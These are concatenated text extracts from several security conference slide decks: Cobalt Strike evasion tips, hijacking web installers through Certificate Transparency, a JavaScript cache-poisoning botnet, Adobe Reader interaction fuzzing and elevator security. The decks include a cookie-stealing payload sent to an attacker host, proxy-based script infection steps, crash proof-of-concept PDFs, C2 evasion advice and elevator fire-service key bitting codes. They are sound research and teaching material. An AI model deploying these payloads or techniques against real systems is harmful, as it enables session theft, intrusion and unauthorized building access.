达一个思想,就是用派生进程执行攻击,即使触发拦截被杀,你还有其他session,他举例了他们团队的 小伙伴就是没有派生进程,导致立柱点掉了。这个和测waf一个思想,你不要再漏洞点上测waf,选一个 其他地方测试,测试完了再去漏洞点利用。 最后作者给了一张CS里面Artifacts的异常指标图,大家使用的时候可以对照下。 strings -e |beacon.bin strings beacon.bin hexdump -C beacon.bin spawnto x64 c:\windows\sysnative\werfault.exe -u -p <父进程pid> Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 2 / 4 - Welcome to www.red-team.cn 0x03 总结 最后作者给了一个使用cs的建议: 扩展PE 给Beacon.dll搞点前后填充用NOP 修改各种可能被特征的字符串 删除混淆PE里面的字符串 稍微改变一下Reflective DLL的导入进程的方式 OPSEC Review 导出raw playload静态分析下 避免线程没有模块支持 避免RWX权限的内存页 用CS的注意 用OPSEC的artifacts 避免分阶段加载(用不分解段) 用session prepping作为攻击进程 限制使用post-ex相关功能 Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 3 / 4 - Welcome to www.red-team.cn Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily No. 4 / 4 - Welcome to www.red-team.cn
pdf
ABUSING CERTIFICATE TRANSPARENCY OR HOW TO HACK WEB APPLICATIONS BEFORE INSTALLATION. Hanno Böck https://hboeck.de/ 1 HTTPS 2 CERTIFICATE AUTHORITIES (CAS) 3 CAN WE TRUST CERTIFICATE AUTHORITIES? 4 NO Many cases of illegitimate certificates in the past. 5 IMPROVE OR REPLACE? Popular Infosec opinion: CAs are bad, we need to get rid of them. 6 HOW? Reality: Nobody has a feasible plan how to replace CAs. 7 IMPROVING THE CA ECOSYSTEM 8 BASELINE REQUIREMENTS 9 HTTP PUBLIC KEY PINNING (HPKP) 10 CERTIFICATE AUTHORITY AUTHORIZATION (CAA) 11 CERTIFICATE TRANSPARENCY (CT) 12 PUBLIC LOGS Let's put all certificates into public logs that everyone can read. 13 CT DETAILS Merkle Hash Trees, Signed Certificate Timestamps (SCT), Signed Tree Head (STH), Precertificates, Monitors, Gossip, ... It's complicated, but not relevant for this talk. 14 CERTIFICATE LOGGING In the future logging will be required (April 2018). 15 CT TODAY Most certificates already get logged. 16 WATCHING THE CAS Certificate Transparency means everyone can check logs for suspicious activity. 17 https://crt.sh 18 19 CERTIFICATE TRANSPARENCY IS A DATA SOURCE For researchers. For search engines. For attackers? 20 FEED OF NEW HOST NAMES Certificates contain hostnames. In other words: Certificate Transparency provides a feed of newly created HTTPS host names. 21 SELF-HOSTED WEB APPLICATIONS Wordpress, Joomla, Drupal etc. 22 WEB APPLICATION INSTALLERS 23 INSTALLERS Upload files to hoster, open in browser. Installer asks for some settings (initial user account, database credentials, ...). 24 INSTALLER (IN)SECURITY Usually installing needs no authentication! 25 GOOGLE DORKING WEB INSTALLERS Old idea: Use Google to find unprotected installers. 26 ATTACK IDEA During installation there is a time window between uploading files and completing the installer without any protection. 27 Remember: We have a stream of newly created host names. 28 HTTPS AND CERTIFICATES HTTPS is becoming more popular and many hosters automatically issue certificates. 29 ATTACK (1) Attacker monitors CT logs, extracts host names. Compares web pages with common installers. 30 ATTACK (2) Insaller found: Install the application. Upload a plugin with code execution backdoor. Revert installation, leave backdoor. 31 DATABASE CREDENTIALS Installers oen require Database credentials for MySQL. But the database server can be external. https://www.freemysqlhosting.net/ 32 DEMO 33 CHALLENGES Logged certificates aren't immediately public. Lag around 30 minutes - 1 hour. Still: You'll hit plenty of vulnerable installers. 34 OPTIMIZATIONS Instead of checking sites once one could check them multiple times. 35 NUMBERS I could've taken over around 4000 Wordpress installations within a month. Much lower numbers for other apps, Joomla (~400) and Owncloud/Nextcloud (each ~100) may still be worth attacking. 36 PROTECTION 37 INSTALLERS NEED AUTHENTICATION 38 CHALLENGE Application programmers want easy installations. 39 SECURITY TOKENS Webapp creates token, writes it to file. User has to read token to perform installation. 40 VENDORS Drupal Typo3 Owncloud ... no reaction at all. 41 VENDORS Wordpress, Nextcloud, Serendipity participated in cross-vendor discussion, but no action. 42 JOOMLA Security token if database server is not localhost. 43 WHITELISTING LOCALHOST This was my idea, but I don't like it. Attacker could already own database credentials for localhost. 44 WHAT CAN USERS DO? 45 BE FAST However there's no way of knowing how fast CT logs are. Future CT logs could be faster. 46 .HTACCESS User can create .htaccess with password protection before installation. Some webapps create .htaccess themselve. 47 TAKEAWAY (1) Unauthenticated installers need to go away. Majority of web application developers ignored the issue so far. 48 TAKEAWAY (2) Certificate Transparency is a powerful tool to strengthen the HTTPS/TLS and PKI ecosystem. As a side effect it provides an interesting data source. Attackers have that data source, too. 49 TAKEAWAY (3) Certificate Transparency means TLS host names are no longer secret. People need to be aware of that. 50 THANKS FOR LISTENING! Questions? https://hboeck.de/ 51
pdf
Owning "bad" guys {and mafia} with Javascript botnets Chema Alonso & Manu “The Sur” Let´s do a botnet but… • We are lazy • We haven´t money • We haven´t 0day • We aren´t the FBI • We aren´t either: • Google • Apple • Microsoft Let them to be infected Man in the Middle schemas • Intercept communications between client and server • Compromised channel -> Pwned! • Network • ARP Spoofing • Rogue DHCP(6) • ICMPv6 Sppofing • SLAAC Attacks • DNS Spoofing • … • Evil FOCA Rulez! Man in the Browser • Plugins • BHO • Addons • Access to all data • Passwords • Code • Banking trojans • “A russian in my IE” JavaScript in the Middle • Poisoning Browser cache • No permanent • Deleting cache means infection cleaned • Cached content is used if not expired • Allows attackers to inject remote javascript • Access to: • Cookies • Not HTTPOnly (more or less) • HTML Code • Form fields • URLs • Code execution • … Google Analytics js & malware How to inject JavaScript code • Persistent XSS • Owning HTTP Servers • Network Man In the middle attacks • WiFi • ARP Spoofing • IPv6 • Memcache attacks • Imagination - Framework to own bowser’s cache - Inject a javascript in each client - That javaScript loads payloads from C&C - http://beefproject.com - Very Well-Known How to create a JavaScript Botnet from the scratch TOR Nodes TOR Nodes Not a Rocket Scince…. Buy a bullet-Prof • Not: • The Pirate Bay • Amazon • (Remenber Wikileaks) • Megaupload Configure SQUID Proxy GET / HTTP/1.1 Host: www.web.com GET / HTTP/1.1 Host: www.web.com Response Home.html Response Home.html GET /a.jsp HTTP/1.1 Host: www.web.com GET /a.jsp HTTP/1.1 Host: www.web.com Response a.jsp Response a.Jsp + pasarela.js include http://evil/payload.js GET /payload.js HTTP/1.1 Host: evil Configure SQUID Proxy Squid.conf: Activate URL rewrite program .htaccess: Apache No Expiration Policy Infect all JavaScript files Infect all JavaScript files Publish your Proxy Let Internet do the magic Do Payloads: Cookie stealing document.write(“ <img id='domaingrabber' src='http://X.X.X.X/panel/ domaingrabber.php?id=0.0.0.0& domain="+document.domain+"& location="+document.location+"& cookie="+document.cookie+"' style='display:none;'/>"); Do Payloads: Form fields stealing Enjoy Who ·”$”·$ is using this kind of services? Mafias: Help the Prince Mafias: Nigerian Scammers Mafias: Nigerian Scammers Mafias: Nigerian Scammers Mafias: Nigerian Scammers Mafias: Nigerian Scammers Mafias: Predators Mafias: Predators Mafias: Predators Mafias: Predators Mafias: Predators Mafias: Predators Mafias: Predators Dog Scammers Warning! This picture could hurt your emotions… Dog Scammers Psychotics Annonymous Annonymous Rare people in a rare World Hax0rs and defacers…. …hacking… … and hacked Intranets And, of course, Pr0n Pr0n Do Payloads: Infect webs for the future Targeting Attacks • Select the Target • Bank • Social Network • Intranet • Analyze loaded files • Payload: • Inject and load a infected file for that target, in every web the victim visits. • Profit. Demo Facebook Protections • Take care of mitm schemas • Proxy • TOR networks • After using them, clean all • Cache is not your friend on the Internet • VPNs is not a silver bullet Questions? chema@informatica64.com mfernandez@informatica64.com
pdf
演讲人: 2 0 1 8 • Swan:业余漏洞挖掘爱好者 • Heige:Web一哥,二进制新手 • Hui Gao:MSRC top 100一姐 • 业余时间搞下二进制 • 找找那些难以利用,无实战意义的漏洞 • 希望是非灌水性质,因为Adobe本身门槛略低 • 避开热点区域 • 不撞洞,不给其它有KPI要求的团队添麻烦 • 源于2014年的思路 • 2014年5月29日,我们发现了一个古天乐般平平无奇的IE漏洞(CVE-2014-1792) • POC非常简单 • 72字节的Use-After-Free漏洞 • <!doctype><body onload=x.parentNode.applyElement(x)><body id=x><marquee> 启发 • 一开始无法重现 • 反复试验后发现拖拽文件入浏览器可触发UAF在mshtml!CDragDropManager::DragOver+0x1f9 • Fuzzer确实有乱发送鼠标键盘事件的模块 • 复盘发现情况,寻找原因 • 结论:不知道咋找到的(摊手) • 类似的还有CVE-2014-1791等 • 有交互的漏洞似乎符合我们的期望 • 小众,难找,难重现 • Fuzz效率低,性价比堪忧,鲜有人做 • 没有现成工具,一切需要从头搭建 • 能找到各种搞不清楚原因的漏洞 结论与立项原因 • 简单的说 • 以前我们关注触发的内容,现在我们尝试触发的姿势 • 有交互要处理,没有交互制造交互也要处理 • 收集会引起交互的PDF元素 • JS command • 引起错误及安全等级相关的元素 • 发送会引起交互的事件 • JS层面 • 用户输入层面 • 模拟用户响应 思路 • app.execMenuItem("xx"); • 76 actions: GoToPage, FitPage, TwoColumns … • app.alert(xx) • console.show(); • this.mailDoc(true); • this.mailForm(true); • this.print(xx) • this.saveAs(xx) • this.insertPages(xx) • app.launchURL(xx) • … 引起交互的JS 引起一些交互 • 引起一些可以被Adobe Reader容忍的错误 • 无效的参数 • 不存在的对象 • 安全等级警告 • … 引起一些错误 引起一些错误 • 键盘事件 • 随机字符输入:圆周率映射到字符 • 快捷键与快捷键组合:Ctrl+H, Ctrl+L,Alt+F4 • 鼠标事件 • 鼠标移动:mouse_event(…) • 点击与拖拽:左键,右键,鼠标压下,鼠标放起 • 滚轮事件:滚动方向,点击 • 系统事件与其它 用户输入层面 • 不同的提示信息对话框 • 不同的按钮,确定/取消/是/否 • 需要输入的对话框 • 页面跳转:跳转到有效页面,跳转到无效页面,取消跳转 • 标签与选项选择:单选框,复选框,确认/应用/取消 • 翻页与缩放 • 其它动作 • 全屏、打印:允许/不允许,取消,记住选择 • 关闭应用程序:正常退出,强制退出,取消退出 进一步细分 • 输入随机,但可以记录随机种子来回放 • 记录系统环境(内存、显示设置等) • 记录应用程序初始与结束配置(窗口大小等) • 记录输入时间间隔 • 记录虚拟机与物理机负载 • 记录网络响应情况 可靠重现的条件 • 生成混合有各种因素的PDF样本 • 打开后根据对话框情况模拟用户响应 • 没有交互时制造一些交互事件 • 后台对每次响应与主动事件进行记录 • 等待并观察一段时间,看是否有crash • 重复第一步 整合在一起 • 气宗 • 从头开始构造文件 • 通过JS构造页面及页面元素 • 剑宗 • 找个模板替换掉JS • 其它不知道什么宗 • Dummy fuzzing 然后我们谈谈样本生成 • 敝厂特拉维夫分厂有人在做气宗的活 • 我们对PDF文件格式吃得不是很透(谦虚脸) • 黑哥对气剑宗的屁话一直耿耿于怀 • 黑哥对气剑宗的屁话一直耿耿于怀 • 黑哥对气剑宗的屁话一直耿耿于怀 我们向剑宗低了头 • 爬docs.adobe.com收集JS API素材 • 文档不全的用枚举来搜索一次(见下一页) 佛系Fuzzing构建 function obj(o){ for(i in o){ console.println(o[i]); } } obj(this); • 爬docs.adobe.com收集JS API素材 • 文档不全的用枚举来搜索一次 • 从基础文件中搜集objects名 佛系Fuzzing构建 6 0 obj << /Type /OCG /Name (Text) >> endobj 7 0 obj << /Type /OCG /Name (BigRect) >>endobj 8 0 obj << /Type /OCG /Name (SmallRect) >> endobj 21 0 obj << /FT /Ch /Parent 10 0 R /Ff 1545433046 /T (mydata1) /Type /Annot /Subtype /Ink /Rect [50 320 100 345] /BS <</W 1 /S /B >>/H /P /AP << /N 22 0 R /D 23 0 R>> /AA 16 0 R >> endobj {“Text”,”BigRect”,”SmallRect”,”mydata1”} • 爬docs.adobe.com收集JS API素材 • 文档不全的用枚举来搜索一次(见下一页) • 从基础文件中搜集objects名 • 混合起来生成适合基础文件的JS语句 佛系Fuzzing构建 JS语句库 this.getField("") 对象库 “mydata1” this.getField(“mydata1") JS语句库 .setFocus() this.getField(“mydata1").setFocus(); • 爬docs.adobe.com收集JS API素材 • 文档不全的用枚举来搜索一次 • 从基础文件中搜集objects名 • 混合起来生成适合基础文件的JS语句 • 替换/插入基础文件中的JS语句 佛系Fuzzing构建 1 0 obj << /Type /Catalog /Pages 2 0 R /OCProperties << /OCGs [6 0 R 7 0 R 8 0 R] /D<</Order [7 0 R 8 0 R 6 0 R]>> >> /AcroForm 10 0 R /OpenAction 40 0 R >> endobj 40 0 obj << /Type /Action /S /JavaScript /JS 41 0 R >> endobj % JS program to exexute 41 0 obj << >> stream app.alert(‘hmm, nice day!'); endstream endobj 1 0 obj << /Type /Catalog /Pages 2 0 R /OCProperties << /OCGs [6 0 R 7 0 R 8 0 R] /D<</Order [7 0 R 8 0 R 6 0 R]>> >> /AcroForm 10 0 R /OpenAction 40 0 R >> endobj 40 0 obj << /Type /Action /S /JavaScript /JS 41 0 R >> endobj % JS program to exexute 41 0 obj << >> stream this.getField(“mydata1").setFocus(); endstream endobj •爬docs.adobe.com收集JS API素材 • 文档不全的用枚举来搜索一次 •从基础文件中搜集objects名 •混合起来生成适合基础文件的JS语句 •替换/插入基础文件中的JS语句 佛系Fuzzing构建 Mutools是个好工具! • Adobe Reader会自己升级 • 将前一页的步骤都自动化 • 通过网络共享获取基础文件 • 通过网络共享保存结果 • 自动化精简工具 • GPG精简后的样本和调试信息 佛系Fuzzing构建 • 我们有五台二手服务器! • 我们运行了四十个虚拟机!! • 我们都四年没升级过机器了!!! • 中间还坏/换了一块RAID卡 大规模跑 • 点掉第一个错误信息后等待.pdf • 稍微往下滚动鼠标.pdf • 选择双页视图后滚动鼠标到第三页.pdf • 确认掉前三个错误信息后跳转到第一页.pdf 结果是我们找到了些需要交互的 • %PDF-1.6 • 1 0 obj <</Pages 2 0 R /OCProperties << >> /AcroForm 10 0 R /OpenAction 40 0 R>> • 40 0 obj <</S /JavaScript /JS 41 0 R>> • 41 0 obj <<>> • stream • try{app.execMenuItem("SinglePage");}catch(e){} • endstream • 2 0 obj <</Kids [3 0 R 3 0 R 3 0 R 3 0 R 3 0 R] /Count 5>> • 3 0 obj <</Resources << >> /Annots [ 11 0 R 21 0 R 42 0 R]>> • 4 0 obj <<>> • stream • endstream • 10 0 obj <</Fields [11 0 R 21 0 R 42 0 R]>> • 11 0 obj <</Rect [100 320 150 345] /AA 14 0 R>> • 21 0 obj << >> • 42 0 obj <</T (mydata2)>> • 14 0 obj <</PO 15 0 R>> • 15 0 obj <</Type /Action /S /JavaScript • /JS( • try{app.execMenuItem("NextPage");}catch(e){} • try{this.getField("mydata2").buttonSetIcon(this.addAnnot({page: 0,type: "Text",rect: [20, 46, 17, 7]}));}catch(e){} • )>> • trailer <</Root 1 0 R>> Patched Sample 1 • (10a0.1cfc): Access violation - code c0000005 (!!! second chance !!!) • eax=002ad788 ebx=3cb181b8 ecx=4b3c8f38 edx=3d6fcfe8 esi=69007bfc edi=4b3c8f38 • eip=681cd408 esp=002ad760 ebp=002ad760 iopl=0 nv up ei pl zr na pe nc • cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 • AcroRd32_68010000!PDAlternatesGetCosObj+0x54f78: • 681cd408 8b11 mov edx,dword ptr [ecx] ds:0023:4b3c8f38=???????? • 1:009> !heap -p -a ecx • address 4b3c8f38 found in • _DPH_HEAP_ROOT @ 3a1000 • in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) • 55a21ccc: 4b3c8000 2000 • 6f6a90b2 verifier!VerifierDisableFaultInjectionExclusionRange+0x00003162 • 77ba69cc ntdll!RtlpNtMakeTemporaryKey+0x000048b1 • 77b69e07 ntdll!EtwSetMark+0x0000eb7f • 77b363a6 ntdll!wcsnicmp+0x00000caa • 763bc614 kernel32!HeapFree+0x00000014 • 6de2ecfa MSVCR120!free+0x0000001a • 68307cdc AcroRd32_68010000!CTJPEGLibTerminate+0x00014b7c • 68307a45 AcroRd32_68010000!CTJPEGLibTerminate+0x000148e5 • 6818ef98 AcroRd32_68010000!PDAlternatesGetCosObj+0x00016b08 • 6818a74b AcroRd32_68010000!PDAlternatesGetCosObj+0x000122bb • 6818a36e AcroRd32_68010000!PDAlternatesGetCosObj+0x00011ede Patched Sample 1 • %PDF-1.2 • 1 0 obj<</Pages 2 0 R /OCProperties <</D<</Order [7 0 R 8 0 R 6 0 R]>> >> /OpenAction 40 0 R>> • 40 0 obj<</S /JavaScript /JS( • app.alert(‘click to trigger the crash’); %<=必须要有这一句!! • this.zoom = 49; • this.getField("AF").setFocus(); • )>>endobj • 2 0 obj<</Kids [3 0 R 3 0 R 3 0 R 3 0 R 3 0 R] /Count 5>> • 3 0 obj<</MediaBox [0 0 400 550] /Resources << >> /Annots [ 11 0 R 21 0 R 42 0 R] >>endobj • 11 0 obj<</FT /Tx /T (AF) /Subtype /Widget /Rect [100 320 150 345] /AA 14 0 R >>endobj • 14 0 obj<</PC 15 0 R >>endobj • 15 0 obj<</Type /Action /S /JavaScript /JS(app.execMenuItem("Find");)>>endobj • trailer <</Root 1 0 R>> Patched Sample 2 • (1a40.840): Access violation - code c0000005 (first chance) • First chance exceptions are reported before any exception handling. • This exception may be expected and handled. ACROFORM!DllUnregisterServer+0x107759: • 55bbdc02 ff734c push dword ptr [ebx+4Ch] ds:002b:3f07cf0c=???????? • 0:000:x86> kv • ChildEBP RetAddr Args to Child • WARNING: Stack unwind information not available. Following frames may be wrong. • 002ceb00 55bcfec1 32172fa0 002ced48 55c049cf ACROFORM!DllUnregisterServer+0x107759 • 002ceb0c 55c049cf 00000001 00000001 bbd31539 ACROFORM!DllUnregisterServer+0x119a18 • 002ced48 55c004c2 56366bf8 c0010000 00000005 ACROFORM!DllUnregisterServer+0x14e526 • 002ced64 55bf7d63 56366bf8 c0010000 00000005 ACROFORM!DllUnregisterServer+0x14a019 • 002ceeb4 5802429c 56366978 c0010000 00000005 ACROFORM!DllUnregisterServer+0x1418ba • 002cef14 586d4f8b 00000000 00000000 173faef0 AcroRd32_57de0000!CTJPEGDecoderReadNextTile+0x4fe0c • 002cef44 586d61fc 00000000 bb8de7b7 173faef0 AcroRd32_57de0000!AIDE::PixelPartInfo::operator=+0x27a73b • 002cef90 5883b200 00000000 bb8de7f7 173faef0 AcroRd32_57de0000!AIDE::PixelPartInfo::operator=+0x27b9ac • 002cefd0 57f732c8 00000000 bb8df843 00000000 AcroRd32_57de0000!ixVectorNextHit+0x6a578 • 002cf064 5883b653 00000000 bb8df897 00000000 AcroRd32_57de0000!PDAlternatesGetCosObj+0x2ae38 • 002cf0b0 586d6f92 00000000 bb8df8df 215661b8 AcroRd32_57de0000!ixVectorNextHit+0x6a9cb • 002cf0f8 5850ba83 00000000 00000000 002cf158 AcroRd32_57de0000!AIDE::PixelPartInfo::operator=+0x27c742 • 002cf108 55af0c8a 215661b8 c0010000 00000005 AcroRd32_57de0000!AIDE::PixelPartInfo::operator=+0xb1233 • 002cf158 57e6ee62 347faff0 bb8df9bb 3b00cff0 ACROFORM!DllUnregisterServer+0x3a7e1 • 002cf19c 57e6e7b7 0000041d bb8dfa2b 0000041d AcroRd32_57de0000!DllCanUnloadNow+0x1dce6 Patched Sample 2 • 32位Windows 7环境中以1280x800为分辨率最大化启动Adobe Reader并均匀点击七下确定可触发.pdf 以及稍微麻烦点的 因为这个还没补 • (深呼吸) • 打开文件后等待右下角“store and share files”字样出来后点击第一个对话框然后取消保存文件选项并确认字体缺 失对话框后等待十秒点击JS对话框后触发.pdf 还有锻炼肺活量的 • Fuzzing还在缓慢的继续中,大约每10秒一个样本 • 佛系漏洞挖掘者大概每周看一次结果 • 漏洞提交也是随缘,想起来就提交三五个 • 估计目前没有其他人找到类似的漏洞 • 我们获得了在KCON得瑟的素材 • 冯小刚-功夫.jpg 应该达成目标了 •此处应有掌声 完了
pdf
Deviant Ollam & Howard Payne DEFCON 22 – 2014/08/03 ELEVATOR HACKING FROM THE PIT TO THE PENTHOUSE WHO ARE WE? http://enterthecore.net Who Are We ? Deviant Ollam – Physical Penetration Tester – Red Teamer – Lockpicker – Liquor of Choice: Lagavulin Howard Payne – Elevator Consultant & Inspector – Non-Union – Boardwalk Badass – Liquor of Choice: American Adjunct Lager http://enterthecore.net Who Are We ? Deviant Ollam – Physical Penetration Tester – Red Teamer – Lockpicker – Liquor of Choice: Lagavulin Howard Payne – Elevator Consultant & Inspector – Non-Union – Boardwalk Badass – Liquor of Choice: American Adjunct Lager WARNING! http://enterthecore.net If Used Properly Elevators are Incredibly Safe – • NYC alone has almost 60,000 elevators • 11 billion trips per year, 30 million every day • Annually there are only about 24 injuries requiring medical attention http://enterthecore.net If Used Properly Elevators are Incredibly Safe – • NYC alone has almost 60,000 elevators • 11 billion trips per year, 30 million every day • Annually there are only about 24 injuries requiring medical attention Throughout the entire nation of 300+ million citizens, an average of just 26 people die in a given year riding elevators… http://enterthecore.net If Used Properly Elevators are Incredibly Safe – • NYC alone has almost 60,000 elevators • 11 billion trips per year, 30 million every day • Annually there are only about 24 injuries requiring medical attention Throughout the entire nation of 300+ million citizens, an average of just 26 people die in a given year riding elevators… … the vast majority are trained professionals working on the devices at the time. http://enterthecore.net Warning – Dying is Not Good http://enterthecore.net Warning – Damage is Not Good http://enterthecore.net Warning – Damage is Not Good http://enterthecore.net Warning – Damage is Not Good http://enterthecore.net Warning – We’re Professionals INTRODUCTION TO ELEVATORS http://enterthecore.net Terms & Technology – Traction vs Hydro http://enterthecore.net Terms & Technology – The Elevator Cab http://enterthecore.net Terms & Technology – The Elevator Cab http://enterthecore.net Terms & Technology – Rails & Rollers http://enterthecore.net Terms & Technology – Rails & Rollers http://enterthecore.net Terms & Technology – Fixtures Car Operating Panel Position Indicator Car Travel Lantern Hall Lantern Hall Stations http://enterthecore.net Terms & Technology – Motor Room http://enterthecore.net Terms & Technology – Motor Room (Hydraulic) http://enterthecore.net Terms & Technology – No Motor Room http://enterthecore.net Terms & Technology – Controller http://enterthecore.net Terms & Technology – Controller http://enterthecore.net Limit Switches http://enterthecore.net Velocity Detection http://enterthecore.net Safety Mechanisms – Overspeed Brake http://enterthecore.net Safety Mechanisms – Governor (to Trigger Safeties) http://enterthecore.net Safety Mechanisms – Rail Gripper Safety http://enterthecore.net Safety Mechanisms – Modern Rail Gripper Safety http://enterthecore.net Safety Mechanisms – Modern Rail Gripper Safety http://enterthecore.net Safety Mechanisms – Modern Rail Gripper Safety http://enterthecore.net Safety Mechanisms – Modern Rail Gripper Safety http://enterthecore.net Safety Mechanisms – Modern Rail Gripper Safety http://enterthecore.net Safety Mechanisms – Modern Rail Gripper Safety http://enterthecore.net Safety Mechanisms – If All Else Fails… There’s the Buffer http://enterthecore.net Elevators Want To Keep You Alive http://enterthecore.net Elevators on Automatic Mode Do Their Job Well Everyday http://enterthecore.net …Unless You’re on the Car Top, Derpface SPECIAL MODES OF OPERATION http://enterthecore.net Independent Service http://enterthecore.net Independent Service http://enterthecore.net Independent Service http://enterthecore.net Attendant Service http://enterthecore.net Attendant Service http://enterthecore.net Attendant Service http://enterthecore.net Express / Executive / VIP service http://enterthecore.net Sabbath Mode http://enterthecore.net Sabbath Mode http://enterthecore.net Sabbath Mode http://enterthecore.net Sabbath Mode http://enterthecore.net Load Bypass http://enterthecore.net Load Bypass http://enterthecore.net Anti Nuisance / No Passenger http://enterthecore.net Anti Nuisance / No Passenger http://enterthecore.net Up Peak / Down Peak http://enterthecore.net Riot Mode http://enterthecore.net Seismic Mode http://enterthecore.net Code Blue http://enterthecore.net Code Blue http://enterthecore.net Code Blue http://enterthecore.net Code Pink http://enterthecore.net Code Pink http://enterthecore.net Security Recall http://enterthecore.net Security Recall http://enterthecore.net Security Service http://enterthecore.net Security Service http://enterthecore.net Fire Service http://enterthecore.net Hoistway Inspection http://enterthecore.net Hoistway Inspection http://enterthecore.net Hoistway Inspection ELEVATOR SECURITY (HOW IT’S ATTEMPTED) http://enterthecore.net Disabled Hall Call Buttons http://enterthecore.net No Hall Call Buttons http://enterthecore.net Keycard to Register Hall Call http://enterthecore.net Floor Cutouts http://enterthecore.net Floor Cutouts http://enterthecore.net Floor Cutouts http://enterthecore.net Floor Cutouts not code compliant! http://enterthecore.net Floor Cutouts ? http://enterthecore.net Floor Cutouts http://enterthecore.net Badge Systems http://enterthecore.net Physically Securing the Elevator Area http://enterthecore.net Physically Securing the Elevator Area http://enterthecore.net Think of Elevators like Stairwells… but Sometimes Even Worse ELEVATOR SECURITY (HOW IT’S SUBVERTED) http://enterthecore.net When There Are No Hall Call Buttons http://enterthecore.net When There Are No Hall Call Buttons http://enterthecore.net When There Are No Hall Call Buttons http://enterthecore.net Key Switches http://enterthecore.net Key Switches http://enterthecore.net Key Switches http://enterthecore.net Key Switches http://enterthecore.net Key Switches Welcome To the Kingdom of Keys! Welcome To the Kingdom of Keys! http://enterthecore.net Keys & Fixtures Brands of Elevator • Otis • Cemco • ThyssenKrupp • Dover • US Elevator • KONE • Montgomery • Armor • Schindler • Westinghouse • O. Thompson • Payne Brands of Fixtures • G.A.L. • EPCO • Innovation • Adams • Monitor / Janus • CJ Anderson • P.T.L. • MAD http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures http://enterthecore.net Keys & Fixtures The artist formerly known as http://enterthecore.net Key Suppliers http://enterthecore.net Key Suppliers http://enterthecore.net Key Suppliers http://enterthecore.net Key Suppliers http://enterthecore.net Key Suppliers http://enterthecore.net Key Suppliers http://enterthecore.net Key Suppliers VS. http://enterthecore.net Key Suppliers VS. http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net The Industry is WAY Behind the Times on Security http://enterthecore.net ASME A17.1 (2007): Safety Code for Elevators & Escalators 2.27.8 Switch Keys The key switches required by 2.27.2 through 2.27.5 for all elevators in a building shall be operable by the same key. The keys shall be Group 3 Security (see 8.1). There shall be a key for each switch provided. These keys shall be kept on the premises in a location readily accessible to firefighters and emergency personnel, but not where they are available to the public. This key shall be of a tubular, 7 pin, style 137 construction and shall have a bitting code of 6143521. The key shall be coded "FEO-K1.“ The possession of the "FEO-K1“ key shall be limited to elevator personnel, emergency personnel, and elevator equipment manufacturers. Where provided, a lock box, including its lock and other components, shall conform to the requirements of UL 1037 (see Part 9). NOTE (2.27.8): Local authorities may specify additional requirements for a uniform keyed lock box and its location to contain the necessary keys. The Industry is WAY Behind the Times on Security http://enterthecore.net It’s All Naked on the Inside http://enterthecore.net Unsecured Car Panels http://enterthecore.net What About Keycard Systems? http://enterthecore.net What About Keycard Systems? http://enterthecore.net Exploiting Keycards Major Malfunction – Magstripe Madness (DEFCON 14) https://www.youtube.com/watch?v=MY_p8C9jJCk M A G S T R I P E M A D N E S S So What Do Pen Testers Do? http://enterthecore.net Independent Service http://enterthecore.net And Sometimes Fire Service http://enterthecore.net Fire Service http://enterthecore.net Fire Service http://enterthecore.net Fire Service “The Post published pictures of the fire service keys only after checking with locksmiths who said duplicates could not be made without the originals in hand.” http://nypost.com/2012/10/01/lock-away-these-nyc-keys http://enterthecore.net Fire Service The Infamous “2642 Key” Yale Y1 key (unrestricted blank) Bitting Code: 2-6-4-2-0 http://enterthecore.net Fire Service The “3502 Key” Yale Y2 key (unrestricted blank) Bitting Code: 0-3-2-3-4-8 http://enterthecore.net Fire Service The Tennessee Key Gamewell “Christmas Tree” Key reused and repurposed http://enterthecore.net Fire Service The Indiana Key 7-pin Tubular Key (unrestricted blank) Bitting Code: X-X-X-X-X-X-X http://enterthecore.net Fire Service The “XXXX” Key Medeco Cam (restricted blank) Bitting: X-X-X-X-X Sidebar: X-X-X-X-X http://enterthecore.net Fire Service The “XXXX” Key Medeco Cam (restricted blank) Bitting: X-X-X-X-X Sidebar: X-X-X-X-X http://enterthecore.net Exploiting BACnet Brad Bowers – How To Own A Building: Exploiting the Physical World With BACnet (ShmooCon 2013) http://www.youtube.com/watch?v=d3jtmv6Y9uk http://enterthecore.net Hoistway Access http://enterthecore.net Hoistway Access http://enterthecore.net Escutcheon Holes http://enterthecore.net Door Releases http://enterthecore.net Escutcheon Holes http://enterthecore.net “It’s in that place where I put that thing that time.” http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Escutcheon Locks http://enterthecore.net Machine Room Access http://enterthecore.net Machine Room A Fair Analogy Floor Cutout Locks. . . . . . . . . . . . . . . . . . . . User Passwords Independent Service . . . . . . . . . . . . . . . . . . . . Local Admin Fire Service . . . . . . . . . . . . . . . . . . . . . . . . . Domain Admin Hoistway Access . . . . . . . . . . . . . . . . . . . . . . . . . . . System Machine Room Access . . . . . . . . . . . . . . . . . . . . Hypervisor http://enterthecore.net Machine Room – 